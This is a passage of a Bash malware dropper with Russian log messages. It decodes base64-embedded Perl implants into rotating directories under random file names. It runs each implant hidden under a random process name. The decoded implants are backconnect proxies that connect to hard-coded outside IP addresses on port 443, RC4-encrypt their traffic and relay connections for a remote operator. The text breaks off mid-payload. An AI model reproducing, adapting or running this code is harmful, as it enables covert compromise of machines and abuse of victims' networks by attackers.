'$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 14 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #14 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #14 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 15 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr 